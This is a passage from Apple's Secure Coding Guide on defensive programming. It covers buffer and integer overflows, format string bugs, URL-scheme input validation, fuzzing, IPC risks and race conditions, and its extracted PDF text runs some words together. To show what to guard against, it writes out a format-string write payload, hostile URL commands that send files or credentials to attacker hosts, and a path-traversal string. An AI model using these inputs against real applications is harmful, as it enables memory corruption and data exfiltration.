elsewhere, and the check uses the same constant. In the second version, the buffer is set to 1024 bytes, but the check calculates the actual size of the buffer. In either of these snippets, changing the original size of the buffer does not invalidate the check. TTable 2-3, shows a function that adds an .ext suffix to a filename. Avoiding Buffer Overflows and Underflows Calculating Buffer Sizes 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 25Table 2-3 Avoid unsafe concatenation Instead of this: Do this: { char file[MAX_PATH]; ... addsfx(file, sizeof(file)); ... } static *suffix = ".ext"; size_t addsfx(char *buf, uint size) { size_t ret = strlcat(buf, suffix, size); if (ret >= size) { fprintf(stderr, "Buffer too small....\n"); } return ret; } { char file[MAX_PATH]; ... addsfx(file); ... } static *suffix = ".ext"; char *addsfx(char *buf) { return strcat(buf, suffix); } Both versions use the maximum path length for a file as the buffer size. The unsafe version in the left column assumes that the filename does not exceed this limit, and appends the suffix without checking the length of the string. The safer version in the right column uses the strlcat function, which truncates the string if it exceeds the size of the buffer. Important: You should always use an unsigned variable (such as size_t) when calculating sizes of buffers and of data going into buffers. Because negative numbers are stored as large positive numbers, if you use signed variables, an attacker might be able to cause a miscalculation in the size of the buffer or data by writing a large number to your program. See “Avoiding Integer Overflows And Underflows” (page 27) for more information on potential problems with integer arithmetic. For a further discussion of this issue and a list of more functions that can cause problems, see Wheeler, Secure Programming for Linux and Unix HOWTO (http://www.dwheeler.com/secure-programs/). Avoiding Buffer Overflows and Underflows Calculating Buffer Sizes 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 26Avoiding Integer Overflows and Underflows If the size of a buffer is calculated using data supplied by the user, there is the potential for a malicious user to enter a number that is too large for the integer data type, which can cause program crashes and other problems. In two’s-complement arithmetic (used forsigned integer arithmetic by most modern CPUs), a negative number is represented by inverting all the bits of the binary number and adding 1. A 1 in the most-significant bit indicates a negative number. Thus, for 4-byte signed integers, 0x7fffffff = 2147483647, but 0x80000000 = -2147483648 Therefore, int 2147483647 + 1 = - 2147483648 If a malicious user specifies a negative number where your program is expecting only unsigned numbers, your program might interpret it as a very large number. Depending on what that number is used for, your program might attempt to allocate a buffer of thatsize, causing the memory allocation to fail or causing a heap overflow if the allocation succeeds. In an early version of a popular web browser, for example, storing objects into a JavaScript array allocated with negative size could overwrite memory. [CVE-2004-0361] In other cases, if you use signed values to calculate buffer sizes and test to make sure the data is not too large for the buffer, a sufficiently large block of data will appear to have a negative size, and will therefore pass the size test while overflowing the buffer. Depending on how the buffer size is calculated, specifying a negative number could result in a buffer too small for its intended use. For example, if your program wants a minimum buffer size of 1024 bytes and adds to that a number specified by the user, an attacker might cause you to allocate a buffer smaller than the minimum size by specifying a large positive number, as follows: 1024 + 4294966784 = 512 0x400 + 0xFFFFFE00 = 0x200 Also, any bits that overflow past the length of an integer variable (whether signed or unsigned) are dropped. For example, when stored in a 32-bit integer, 2**32 == 0. Because it is not illegal to have a buffer with a size of 0, and because malloc(0) returns a pointer to a small block, your code might run without errors if an attacker specifies a value that causes your buffer size calculation to be some multiple of 2**32. In other words, for any values of n and m where (n * m) mod 2**32 == 0, allocating a buffer of size n*m results in a valid pointer to a buffer of some very small (and architecture-dependent) size. In that case, a buffer overflow is assured. Avoiding Buffer Overflows and Underflows Avoiding Integer Overflows and Underflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 27To avoid such problems, when performing buffer math, you should always include checks to make sure no integer overflow occurred. A common mistake when performing these tests is to check the result of the multiplication or other operation: size_t bytes = n * m; if (bytes < n || bytes < m) { /* BAD BAD BAD */ ... /* allocate "bytes" space */ } Unfortunately, the C language specification allows the compiler to optimize out such tests [CWE-733, CERT VU#162289]. Thus, the only correct way to test for integer overflow is to divide the maximum allowable result by the multiplier and comparing the result to the multiplicand or vice-versa. If the result is smaller than the multiplicand, the product of those two values would cause an integer overflow. For example: size_t bytes = n * m; if (n > 0 && m > 0 && SIZE_MAX/n >= m) { ... /* allocate "bytes" space */ } Detecting Buffer Overflows To test for buffer overflows, you should attempt to enter more data than is asked for wherever your program accepts input. Also, if your program accepts data in a standard format, such as graphics or audio data, you should attempt to pass it malformed data. This process is known as fuzzing. If there are buffer overflows in your program, it will eventually crash. (Unfortunately, it might not crash until some time later, when it attempts to use the data that was overwritten.) The crash log might provide some clues that the cause of the crash was a buffer overflow. If, for example, you enter a string containing the Avoiding Buffer Overflows and Underflows Detecting Buffer Overflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 28uppercase letter “A” several times in a row, you might find a block of data in the crash log that repeats the number 41, the ASCII code for “A” (see Figure 2-2). If the program is trying to jump to a location that is actually an ASCII string, that’s a sure sign that a buffer overflow was responsible for the crash. Figure 2-5 Buffer overflow crash log Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140 Thread 0 Crashed: Thread 0 crashed with PPC Thread State 64: srr0: 0x0000000041414140 srr1: 0x000000004200f030 vrsave: 0x0000000000000000 cr: 0x48004242 xer: 0x0000000020000007 1r: 0x0000000041414141 ctr: 0x000000009077401c r0: 0x0000000041414141 r1: 0x00000000bfffe660 r2: 0x0000000000000000 r3: 000000000000000001 r4: 0x0000000000000041 r5: 0x00000000bfffdd50 r6: 0x0000000000000052 r7: 0x00000000bfffe638 r8: 0x0000000090774028 r9: 0x00000000bfffddd8 r10: 0x00000000bfffe380 r11: 0x0000000024004248 r12: 0x000000009077401c r13: 0x00000000a365c7c0 r14: 0x0000000000000100 r15: 0x0000000000000000 r16: 0x00000000a364c75c r17: 0x00000000a365c75c r18: 0x00000000a365c75c r19: 0x00000000a366c75c r20: 0x0000000000000000 r21: 0x0000000000000000 r22: 0x00000000a365c75c r23: 0x000000000034f5b0 r24: 0x00000000a3662aa4 r25: 0x000000000054c840 r26: 0x00000000a3662aa4 r27: 0x0000000000002f44 r28: 0x000000000034c840 r29: 0x0000000041414141 r30: 0x0000000041414141 r31: 0x0000000041414141 If there are any buffer overflows in your program, you should always assume that they are exploitable and fix them. It is much harder to prove that a buffer overflow is not exploitable than to just fix the bug. Also note that, although you can test for buffer overflows, you cannot test for the absence of buffer overflows; it is necessary, therefore, to carefully check every input and every buffer size calculation in your code. For more information on fuzzing, see “Fuzzing” (page 39) in “Validating Input And Interprocess Communication” (page 33). Avoiding Buffer Underflows Fundamentally, buffer underflows occur when two parts of your code disagree about the size of a buffer or the data in that buffer. For example, a fixed-length C string variable might have room for 256 bytes, but might contain a string that is only 12 bytes long. Buffer underflow conditions are not always dangerous; they become dangerous when correct operation depends upon both parts of your code treating the data in the same way. This often occurs when you read the buffer to copy it to another block of memory, to send it across a network connection, and so on. There are two broad classes of buffer underflow vulnerabilities: short writes, and short reads. Avoiding Buffer Overflows and Underflows Avoiding Buffer Underflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 29A short write vulnerability occurs when a short write to a buffer fails to fill the buffer completely. When this happens, some of the data that was previously in the buffer is still present after the write. If the application later performs an operation on the entire buffer (writing it to disk or sending it over the network, for example), that existing data comes along for the ride. The data could be random garbage data, but if the data happens to be interesting, you have an information leak. Further, when such an underflow occurs, if the values in those locations affect program flow, the underflow can potentially cause incorrect behavior up to and including allowing you to skip past an authentication or authorization step by leaving the existing authorization data on the stack from a previous call by another user, application, or other entity. Short write example (systemcall): For example, consider a UNIX system call that requires a command data structure, and includes an authorization token in that data structure. Assume that there are multiple versions of the data structure, with different lengths, so the system call takes both the structure and the length. Assume that the authorization token is fairly far down in the structure. Suppose a malicious application passesin a command structure, and passes a size that encompasses the data up to, but not including, the authorization token. The kernel’s system call handler calls copyin, which copies a certain number of bytes from the application into the data structure in the kernel’s address space. If the kernel does not zero-fill that data structure, and if the kernel does not check to see if the size is valid, there is a narrow possibility that the stack might still contain the previous caller’s authorization token at the same address in kernel memory. Thus, the attacker is able to perform an operation that should have been disallowed. A short read vulnerability occurs when a read from a buffer fails to read the complete contents of a buffer. If the program then makes decisions based on that short read, any number of erroneous behaviors can result. This usually occurs when a C string function is used to read from a buffer that does not actually contain a valid C string. A C string is defined as a string containing a series of bytes that ends with a null terminator. By definition, it cannot contain any null bytes prior to the end of the string. As a result, C-string-based functions, such as strlen, strlcpy, and strdup, copy a string until the first null terminator, and have no knowledge of the size of the original source buffer. By contrast, strings in other formats (a CFStringRef object, a Pascal string, or a CFDataRef blob) have an explicit length and can contain null bytes at arbitrary locations in the data. If you convert such a string into a C string and then evaluate that C string, you get incorrect behavior because the resulting C string effectively ends at the first null byte. Avoiding Buffer Overflows and Underflows Avoiding Buffer Underflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 30Short read example (SSL verification): An example of a short read vulnerability occurred in many SSL stacks a few years ago. By applying for an SSL cert for a carefully crafted subdomain of a domain that you own, you could effectively create a certificate that was valid for arbitrary domains. Consider a subdomain in the form targetdomain.tld[null_byte].yourdomain.tld. Because the certificate signing request contains a Pascalstring, assuming that the certificate authority interprets it correctly, the certificate authority would contact the owner of yourdomain.tld and would ask for permission to deliver the certificate. Because you own the domain, you would agree to it. You would then have a certificate that is valid for the rather odd-looking subdomain in question. When checking the certificate for validity, however, many SSL stacksincorrectly converted that Pascal string into a C string without any validity checks. When this happened, the resulting C string contained only the targetdomain.tld portion. The SSL stack then compared that truncated version with the domain the user requested, and interpreted the certificate as being valid for the targeted domain. In some cases, it was even possible to construct wildcard certificatesthat were valid for every possible domain in such browsers (*.com[null].yourdomain.tld would match every .com address, for example). If you obey the following rules, you should be able to avoid most underflow attacks: ● Zero-fill all buffers before use. A buffer that contains only zeros cannot contain stale sensitive information. ● Always check return values and fail appropriately. ● If a call to an allocation or initialization function fails (AuthorizationCopyRights, for example), do not evaluate the resulting data, as it could be stale. ● Use the value returned from read system calls and other similar calls to determine how much data was actually read. Then either: ● Use that result to determine how much data is present instead of using a predefined constant or ● fail if the function did not return the expected amount of data. ● Display an error and fail if a write call, printf call, or other output call returns without writing all of the data, particularly if you might later read that data back. ● When working with data structures that contain length information, always verify that the data is the size you expected. ● Avoid converting non-C strings (CFStringRef objects, NSString objects, Pascal strings, and so on) into C strings if possible. Instead, work with the strings in their original format. If this is not possible, always perform length checks on the resulting C string or check for null bytes in the source data. Avoiding Buffer Overflows and Underflows Avoiding Buffer Underflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 31● Avoid mixing buffer operations and string operations. If this is not possible, always perform length checks on the resulting C string or check for null bytes in the source data. ● Save files in a fashion that prevents malicious tampering or truncation. (See “Race Conditions and Secure File Operations” (page 43) for more information.) ● Avoid integer overflows and underflows. (See “Calculating Buffer Sizes” (page 25) for details.) Avoiding Buffer Overflows and Underflows Avoiding Buffer Underflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 32A major, and growing, source of security vulnerabilities is the failure of programs to validate all input from outside the program—that is, data provided by users, from files, over the network, or by other processes. This chapter describes some of the ways in which unvalidated input can be exploited, and some coding techniques to practice and to avoid. Risks of Unvalidated Input Any time your program accepts input from an uncontrolled source, there is a potential for a user to pass in data that does not conform to your expectations. If you don’t validate the input, it might cause problems ranging from program crashes to allowing an attacker to execute his own code. There are a number of ways an attacker can take advantage of unvalidated input, including: ● Buffer overflows ● Format string vulnerabilities ● URL commands ● Code insertion ● Social engineering Many Apple security updates have been to fix input vulnerabilities, including a couple of vulnerabilities that hackers used to “jailbreak” iPhones. Input vulnerabilities are common and are often easily exploitable, but are also usually easily remedied. Causing a Buffer Overflow If your application takesinput from a user or other untrusted source, itshould never copy data into a fixed-length buffer without checking the length and truncating it if necessary. Otherwise, an attacker can use the input field to cause a buffer overflow. See “Avoiding Buffer Overflows And Underflows” (page 17) to learn more. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 33 Validating Input and Interprocess CommunicationFormat String Attacks If you are taking input from a user or other untrusted source and displaying it, you need to be careful that your display routines do not processformatstringsreceived from the untrusted source. For example, in the following code the syslog standard C library function is used to write a received HTTP request to the system log. Because the syslog function processes format strings, it will process any format strings included in the input packet: /* receiving http packet */ int size = recv(fd, pktBuf, sizeof(pktBuf), 0); if (size) { syslog(LOG_INFO, "Received new HTTP request!"); syslog(LOG_INFO, pktBuf); } Many formatstrings can cause problemsfor applications. For example,suppose an attacker passesthe following string in the input packet: "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n" This string retrieves eight items from the stack. Assuming that the format string itself is stored on the stack, depending on the structure of the stack, this might effectively move the stack pointer back to the beginning of the format string. Then the %n token would cause the print function to take the number of bytes written so far and write that value to the memory address stored in the next parameter, which happens to be the format string. Thus, assuming a 32-bit architecture, the AAAA in the format string itself would be treated as the pointer value 0x41414141, and the value at that address would be overwritten with the number 76. Doing this will usually cause a crash the next time the system has to access that memory location, but by using a string carefully crafted for a specific device and operating system, the attacker can write arbitrary data to any location. See the manual page for printf(3) for a full description of format string syntax. To prevent format string attacks, make sure that no input data is ever passed as part of a format string. To fix this, just include your own format string in each such function call. For example, the call printf(buffer) may be subject to attack, but the call printf("%s", buffer) is not. In the second case, all characters in the buffer parameter—including percent signs (%)—are printed out rather than being interpreted as formatting tokens. Validating Input and Interprocess Communication Risks of Unvalidated Input 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 34This situation can be made more complicated when a string is accidentally formatted more than once. In the following example, the informativeTextWithFormat argument of the NSAlert method alertWithMessageText:defaultButton:alternateButton:otherButton:informativeTextWithFormat: calls the NSString method stringWithFormat:GetLocalizedString rather than simply formatting the message string itself. As a result, the string is formatted twice, and the data from the imported certificate is used as part of the format string for the NSAlert method: alert = [NSAlert alertWithMessageText:"Certificate Import Succeeded" defaultButton:"OK" alternateButton:nil otherButton:nil informativeTextWithFormat:[NSString stringWithFormat: @"The imported certificate \"%@\" has been selected in the certificate pop-up.", [selectedCert identifier]]]; [alert setAlertStyle:NSInformationalAlertStyle]; [alert runModal]; Instead, the string should be formatted only once, as follows: [alert informativeTextWithFormat:@"The imported certificate \"%@\" has been selected in the certificate pop-up.", [selectedCert identifier]]; The following commonly-used functions and methods are subject to format-string attacks: ● Standard C ● printf and other functions listed on the printf(3) manual page ● scanf and other functions listed on the scanf(3) manual page ● syslog and vsyslog ● Carbon ● CFStringCreateWithFormat ● CFStringCreateWithFormatAndArguments ● CFStringAppendFormat ● AEBuildDesc Validating Input and Interprocess Communication Risks of Unvalidated Input 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 35● AEBuildParameters ● AEBuildAppleEvent ● Cocoa ● [NSString stringWithFormat:] and other NSString methods that take formatted strings as arguments ● [NSString initWithFormat:] and other NSStringmethodsthattake formatstrings as arguments ● [NSMutableString appendFormat:] ● [NSAlert alertWithMessageText:defaultButton:alternateButton:otherButton:informativeTextWithFormat:] ● [NSPredicate predicateWithFormat:] and [NSPredicate predicateWithFormat:arguments:] ● [NSException raise:format:] and [NSException raise:format:arguments:] ● NSRunAlertPanel and other Application Kit functions that create or return panels or sheets URLs and File Handling If your application has registered a URL scheme, you have to be careful about how you process commands sent to your application through the URL string. Whether you make the commands public or not, hackers will try sending commandsto your application. If, for example, you provide a link or linksto launch your application from your web site, hackers will look to see what commands you’re sending and will try every variation on those commands they can think of. You must be prepared to handle, or to filter out, any commands that can be sent to your application, not only those commands that you would like to receive. For example, if you accept a command that causes your application to send credentials back to your web server, don’t make the function handler general enough so that an attacker can substitute the URL of their own web server. Here are some examples of the sorts of commands that you should not accept: ● myapp://cmd/run?program=/path/to/program/to/run ● myapp://cmd/set_preference?use_ssl=false ● myapp://cmd/sendfile?to=evil@attacker.com&file=some/data/file ● myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on ● myapp://cmd/login_to?server_to_send_credentials=some.malicious.webserver.com In general, don’t accept commands that include arbitrary URLs or complete pathnames. Validating Input and Interprocess Communication Risks of Unvalidated Input 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 36If you accept text or other data in a URL command that you subsequently include in a function or method call, you could be subject to a format string attack (see “Format String Attacks” (page 34)) or a buffer overflow attack (see “Causing a Buffer Overflow” (page 33)). If you accept pathnames, be careful to guard againststrings that might redirect a call to another directory; for example: myapp://use_template?template=/../../../../../../../../some/other/file Code Insertion Unvalidated URL commands and textstringssometimes allow an attacker to insert code into a program, which the program then executes. For example, if your application processes HTML and Javascript when displaying text, and displays strings received through a URL command, an attacker could send a command something like this: myapp://cmd/adduser='>"> Similarly, HTML and other scripting languages can be inserted through URLs, text fields, and other data inputs, such as command lines and even graphics or audio files. You should either not execute scripts in data from an untrusted source, or you should validate all such data to make sure it conforms to your expectations for input. Never assume that the data you receive is well formed and valid; hackers and malicious users will try every sort of malformed data they can think of to see what effect it has on your program. Social Engineering Social engineering—essentially tricking the user—can be used with unvalidated input vulnerabilities to turn a minor annoyance into a major problem. For example, if your program accepts a URL command to delete a file, but first displays a dialog requesting permission from the user, you might be able to send a long-enough string to scroll the name of the file to be deleted past the end of the dialog. You could trick the user into thinking he was deleting something innocuous, such as unneeded cached data. For example: myapp://cmd/delete?file=cached data that is slowing down your system.,realfile The user then might see a dialog with the text “Are you sure you want to delete cached data that is slowing down your system.” The name of the real file, in this scenario, is out of sight below the bottom of the dialog window. When the user clicks the “OK” button, however, the user’s real data is deleted. Other examples of social engineering attacks include tricking a user into clicking on a link in a malicious web site or following a malicious URL. For more information about social engineering, read “Designing Secure User Interfaces” (page 73). Validating Input and Interprocess Communication Risks of Unvalidated Input 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 37Modifications to Archived Data Archiving data, also known as object graph serialization, refers to converting a collection of interconnected objects into an architecture-independent stream of bytes that preserves the identity of and the relationships between the objects and values. Archives are used for writing data to a file, transmitting data between processes or across a network, or performing other types of data storage or exchange. For example, in Cocoa, you can use a coder object to create and read from an archive, where a coder object is an instance of a concrete subclass of the abstract class NSCoder. Object archives are problematic from a security perspective for several reasons. First, an object archive expands into an object graph that can contain arbitrary instances of arbitrary classes. If an attacker substitutes an instance of a different class than you were expecting, you could get unexpected behavior. Second, because an application must know the type of data stored in an archive in order to unarchive it, developers typically assume that the values being decoded are the same size and data type as the values they originally coded. However, when the data is stored in an insecure manner before being unarchived, this is not a safe assumption. If the archived data is not stored securely, it is possible for an attacker to modify the data before the application unarchives it. If your initWithCoder: method does not carefully validate all the data it’s decoding to make sure it is well formed and does not exceed the memory space reserved for it, then by carefully crafting a corrupted archive, an attacker can cause a buffer overflow or trigger another vulnerability and possibly seize control of the system. Third, some objects return a different object during unarchiving (see the NSKeyedUnarchiverDelegate method unarchiver:didDecodeObject:) or when they receive the message awakeAfterUsingCoder:. NSImage is one example of such a class—it may register itself for a name when unarchived, potentially taking the place of an image the application uses. An attacker might be able to take advantage of this to insert a maliciously corrupt image file into an application. It’s worth keeping in mind that, even if you write completely safe code, there mightstill be security vulnerabilities in libraries called by your code. Specifically, the initWithCoder: methods of the superclasses of your classes are also involved in unarchiving. To be completely safe, you should avoid using archived data as a serialization format for data that could potentially be stored or transmitted in an insecure fashion or that could potentially come from an untrusted source. Note that nib files are archives, and these cautions apply equally to them. A nib file loaded from a signed application bundle should be trustable, but a nib file stored in an insecure location is not. Validating Input and Interprocess Communication Risks of Unvalidated Input 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 38See “Risks of Unvalidated Input” (page 33) for more information on the risks of reading unvalidated input, “Securing File Operations” (page 47) for techniques you can use to keep your archive files secure, and the other sections in this chapter for details on validating input. Fuzzing Fuzzing, or fuzz testing, is the technique of randomly or selectively altering otherwise valid data and passing it to a program to see what happens. If the program crashes or otherwise misbehaves, that’s an indication of a potential vulnerability that might be exploitable. Fuzzing is a favorite tool of hackers who are looking for buffer overflows and the other types of vulnerabilities discussed in this chapter. Because it will be employed by hackers against your program, you should use it first, so you can close any vulnerabilities before they do. Although you can never prove that your program is completely free of vulnerabilities, you can at least get rid of any that are easy to find this way. In this case, the developer’s job is much easier than that of the hacker. Whereas the hacker has to not only find input fields that might be vulnerable, but also must determine the exact nature of the vulnerability and then craft an attack that exploits it, you need only find the vulnerability, then look at the source code to determine how to close it. You don’t need to prove that the problem is exploitable—just assume that someone will find a way to exploit it, and fix it before they get an opportunity to try. Fuzzing is best done with scripts orshort programsthat randomly vary the input passed to a program. Depending on the type of input you’re testing—text field, URL, data file, and so forth—you can try HTML, javascript, extra long strings, normally illegal characters, and so forth. If the program crashes or does anything unexpected, you need to examine the source code that handles that input to see what the problem is, and fix it. For example, if your program asksfor a filename, you should attempt to enter a string longer than the maximum legal filename. Or, if there is a field that specifies the size of a block of data, attempt to use a data block larger than the one you indicated in the size field. The most interesting valuesto try when fuzzing are usually boundary values. For example, if a variable contains a signed integer, try passing the maximum and minimum values allowed for a signed integer of thatsize, along with 0, 1, and -1. If a data field should contain a string with no fewer than 1 byte and no more than 42 bytes, try zero bytes, 1 byte, 42 bytes, and 43 bytes. And so on. In addition to boundary values, you should also try values that are way, way outside the expected values. For example, if your application is expecting an image that is up to 2,000 pixels by 3,000 pixels, you might modify the size fields to claim that the image is 65,535 pixels by 65,535 pixels. Using large values can uncover integer overflow bugs (and in some cases, NULL pointer handling bugs when a memory allocation fails). See “Avoiding Integer Overflows And Underflows” (page 27) in “Avoiding Buffer Overflows And Underflows” (page 17) for more information about integer overflows. Validating Input and Interprocess Communication Fuzzing 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 39Inserting additional bytes of data into the middle or end of a file can also be a useful fuzzing technique in some cases. For example, if a file’s header indicates that it contains 1024 bytes after the header, the fuzzer could add a 1025th byte. The fuzzer could add an additional row or column of data in an image file. And so on. Interprocess Communication and Networking When communicating with another process, the most important thing to remember isthat you cannot generally verify that the other process has not been compromised. Thus, you must treat it as untrusted and potentially hostile. All interprocess communication is potentially vulnerable to attacks if you do not properly validate input, avoid race conditions, and perform any other tests that are appropriate when working with data from a potentially hostile source. Above and beyond these risks, however,some forms of interprocess communication have specific risksinherent to the communication mechanism. This section describes some of those risks. Mach messaging When working with Mach messaging, it is important to never give the Mach task port of your process to any other. If you do, you are effectively allowing that process to arbitrarily modify the address space your process, which makes it trivial to compromise your process. Instead, you should create a Mach port specifically for communicating with a given client. Note: Mach messaging in OS X is not a supported API. No backwards compatibility guarantees are made for applications that use it anyway. Remote procedure calls (RPC) and Distributed Objects: If your application uses remote procedure calls or Distributed Objects, you are implicitly saying that you fully trust whatever processis at the other end of the connection. That process can call arbitrary functions within your code, and may even be able to arbitrarily overwrite portions of your code with malicious code. For thisreason, you should avoid using remote procedure calls or DistributedObjects when communicating with potentially untrusted processes, and in particular, you should never use these communication technologies across a network boundary. Shared Memory: If you intend to share memory across applications, be careful to allocate any memory on the heap in page-aligned, page-sized blocks. If you share a block of memory that is not a whole page (or worse, if you share some portion of your application’s stack), you may be providing the process at the other end Validating Input and Interprocess Communication Interprocess Communication and Networking 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 40with the ability to overwrite portions of your code,stack, or other data in waysthat can produce incorrect behavior, and may even allow injection of arbitrary code. In addition to these risks, some forms of shared memory can also be subject to race condition attacks. Specifically, memory mapped files can be replaced with other files between when you create the file and when you open it. See “Securing File Operations” (page 47) for more details. Finally, named shared memory regions and memory mapped files can be accessed by any other process running as the user. For this reason, it is not safe to use non-anonymous shared memory for sending highly secret information between processes. Instead, allocate your shared memory region prior to creating the child processthat needsto share that region, then pass IPC_PRIVATE asthe key for shmget to ensure that the shared memory identifier is not easy to guess. Note: Shared memory regions are detached if you call exec or other similar functions. If you need to pass data in a secure way across an exec boundary, you must pass the shared memory ID to the child process. Ideally, you should do this using a secure mechanism, such as a pipe created using a call to pipe. After the last child process that needs to use a particular shared memory region is running, the process that created the region should call shmctl to remove the shared memory region. Doing so ensures that no further processes can attach to that region even if they manage to guess the region ID. shmctl(id, IPC_RMID, NULL); Signals: A signal, in this context, is a particular type of content-free message sent from one process to another in a UNIX-based operating system such as OS X. Any program can register a signal handler function to perform specific operations upon receiving a signal. In general, it is not safe to do a significant amount of work in a signal handler. There are only a handful of library functions and system callsthat are safe to use in a signal handler (referred to as async-signal-safe calls), and this makes it somewhat difficult to safely perform work inside a call. More importantly, however, as a programmer, you are not in control of when your application receives a signal. Thus, if an attacker can cause a signal to be delivered to your process (by overflowing a socket buffer, for example), the attacker can cause your signal handler code to execute at any time, between any two lines of code in your application. This can be problematic if there are certain places where executing that code would be dangerous. For example, in 2004, a signal handler race condition was found in open-source code present in many UNIX-based operating systems. This bug made it possible for a remote attacker to execute arbitrary code Validating Input and Interprocess Communication Interprocess Communication and Networking 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 41or to stop the FTP daemon from working by causing it to read data from a socket and execute commands while it was still running as the root user. [CVE-2004-0794] For this reason, signal handlers should do the minimum amount of work possible, and should perform the bulk of the work at a known location within the application’s main program loop. For example, in an application based on Foundation or Core Foundation, you can create a pair of connected sockets by calling socketpair, call setsockopt to set the socket to non-blocking, turn one end into a CFStream object by calling CFStreamCreatePairWithSocket, and then schedule that stream on your run loop. Then, you can install a minimal signal handler that uses the write system call (which is async-signal-safe according to POSIX.1) to write data into the other socket. When the signal handler returns, your run loop will be woken up by data on the other socket, and you can then handle the signal at your convenience. Important: If you are writing to a socket in a signal handler and reading from it in a run loop on your main program thread, you must set the socket to non-blocking. If you do not, it is possible to cause your application to hang by sending it too many signals. The queue for a socket is of finite size. When it fills up, if the socket is set to non-blocking, the write call fails, and the global variable errno is set to EAGAIN. If the socket is blocking, however, the write call blocks until the queue empties enough to write the data. If a write call in a signal handler blocks, this prevents the signal handler from returning execution to the run loop. If that run loop is responsible for reading data from the socket, the queue will never empty, the write call will never unblock, and your application will basically hang (at least until the write call isinterrupted by anothersignal). Validating Input and Interprocess Communication Interprocess Communication and Networking 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 42When working with shared data, whether in the form of files, databases, network connections,shared memory, or other forms of interprocess communication, there are a number of easily made mistakesthat can compromise security. This chapter describes many such pitfalls and how to avoid them. Avoiding Race Conditions A race condition exists when changes to the order of two or more events can cause a change in behavior. If the correct order of execution is required for the proper functioning of the program, this is a bug. If an attacker can take advantage of the situation to insert malicious code, change a filename, or otherwise interfere with the normal operation of the program, the race condition is a security vulnerability. Attackers can sometimes take advantage of small time gaps in the processing of code to interfere with the sequence of operations, which they then exploit. OS X, like all modern operating systems, is a multitasking OS; that is, it allows multiple processes to run or appear to run simultaneously by rapidly switching among them on each processor. The advantagesto the user are many and mostly obvious; the disadvantage, however, is that there is no guarantee that two consecutive operations in a given process are performed without any other process performing operations between them. In fact, when two processes are using the same resource (such as the same file), there is no guarantee that they will access that resource in any particular order unless both processes explicitly take steps to ensure it. For example, if you open a file and then read from it, even though your application did nothing else between these two operations, some other process might alter the file after the file was opened and before it was read. If two different processes (in the same or different applications) were writing to the same file, there would be no way to know which one would write first and which would overwrite the data written by the other. Such situations cause security vulnerabilities. There are two basic types of race condition that can be exploited: time of check–time of use (TOCTOU), and signal handling. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 43 Race Conditions and Secure File OperationsTime of Check Versus Time of Use It is fairly common for an application to need to check some condition before undertaking an action. For example, it might check to see if a file exists before writing to it, or whether the user has access rights to read a file before opening it for reading. Because there is a time gap between the check and the use (even though it might be a fraction of a second), an attacker can sometimes use that gap to mount an attack. Thus, this is referred to as a time-of-check–time-of-use problem. Temporary Files A classic example isthe case where an application writestemporary filesto publicly accessible directories. You can set the file permissions of the temporary file to prevent another user from altering the file. However, if the file already exists before you write to it, you could be overwriting data needed by another program, or you could be using a file prepared by an attacker, in which case it might be a hard link or symbolic link, redirecting your output to a file needed by the system or to a file controlled by the attacker. To prevent this, programs often check to make sure a temporary file with a specific name does not already exist in the target directory. If such a file exists, the application deletes it or chooses a new name for the temporary file to avoid conflict. If the file does not exist, the application opensthe file for writing, because the system routine that opens a file for writing automatically creates a new file if none exists. An attacker, by continuously running a program that creates a new temporary file with the appropriate name, can (with a little persistence and some luck) create the file in the gap between when the application checked to make sure the temporary file didn’t exist and when it opens it for writing. The application then opensthe attacker’sfile and writesto it (remember, the system routine opens an existing file if there is one, and creates a new file only if there is no existing file). The attacker’s file might have different access permissions than the application’s temporary file, so the attacker can then read the contents. Alternatively, the attacker might have the file already open. The attacker could replace the file with a hard link or symbolic link to some other file (either one owned by the attacker or an existing system file). For example, the attacker could replace the file with a symbolic link to the system password file, so that after the attack, the system passwords have been corrupted to the point that no one, including the system administrator, can log in. For a real-world example, in a vulnerability in a directory server, a server script wrote private and public keys into temporary files, then read those keys and put them into a database. Because the temporary files were in a publicly writable directory, an attacker could have created a race condition by substituting the attacker’s own files (or hard links or symbolic links to the attacker’s files) before the keys were reread, thus causing the script to insert the attacker’s private and public keys instead. After that, anything Race Conditions and Secure File Operations Avoiding Race Conditions 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 44encrypted or authenticated using those keys would be under the attacker’s control. Alternatively, the attacker could have read the private keys, which can be used to decrypt encrypted data. [CVE-2005-2519] Similarly, if an application temporarily relaxes permissions on files or folders in order to perform some operation, an attacker might be able to create a race condition by carefully timing his or her attack to occur in the narrow window in which those permissions are relaxed. To learn more about creating temporary files securely, read “Create Temporary Files Correctly” (page 50). Interprocess Communication Time-of-check–time-of-use problems do not have to involve files, of course. They can apply to any data storage or communications mechanism that does not perform operations atomically. Suppose, for example, that you wrote a program designed to automatically count the number of people entering a sports stadium for a game. Each turnstile talks to a web service running on a server whenever someone walks through. Each web service instance inherently runs as a separate process. Each time a turnstile sends a signal, an instance of the web service starts up, retrievesthe gate count from a database, increments it by one, and writes it back to the database. Thus, multiple processes are keeping a single running total. Now suppose two people enter different gates at exactly the same time. The sequence of events might then be as follows: 1. Server process A receives a request from gate A. 2. Server process B receives a request from gate B. 3. Server process A reads the number 1000 from the database. 4. Server process B reads the number 1000 from the database. 5. Server process A increments the gate count by 1 so that Gate == 1001. 6. Server process B increments the gate count by 1 so that Gate == 1001. 7. Server process 